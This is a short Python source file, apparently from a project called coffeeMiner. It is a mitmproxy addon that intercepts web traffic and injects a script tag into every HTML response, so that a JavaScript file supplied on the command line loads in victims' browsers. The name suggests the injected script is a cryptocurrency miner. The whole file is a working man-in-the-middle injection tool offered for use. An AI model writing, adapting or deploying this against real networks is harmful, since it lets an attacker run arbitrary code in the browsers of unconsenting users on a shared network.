coffeeMiner/injector.py
injector.pyRaw
1# Usage: mitmdump -s "js_injector.py src"
2# (this script works best with --anticache)
3from bs4 import BeautifulSoup
4from mitmproxy import ctx, http
5import argparse
6
7class Injector:
8 def __init__(self, path):
9 self.path = path
10
11 def response(self, flow: http.HTTPFlow) -> None:
12 if self.path:
13 html = BeautifulSoup(flow.response.content, "html.parser")
14 print(self.path)
15 print(flow.response.headers["content-type"])
16 if flow.response.headers["content-type"] == 'text/html':
17 print(flow.response.headers["content-type"])
18 script = html.new_tag(
19 "script",
20 src=self.path,
21 type='application/javascript')
22 html.body.insert(0, script)
23 flow.response.content = str(html).encode("utf8")
24 print("Script injected.")
25
26def start():
27 parser = argparse.ArgumentParser()
28 parser.add_argument("path", type=str)
29 args = parser.parse_args()
30 return Injector(args.path)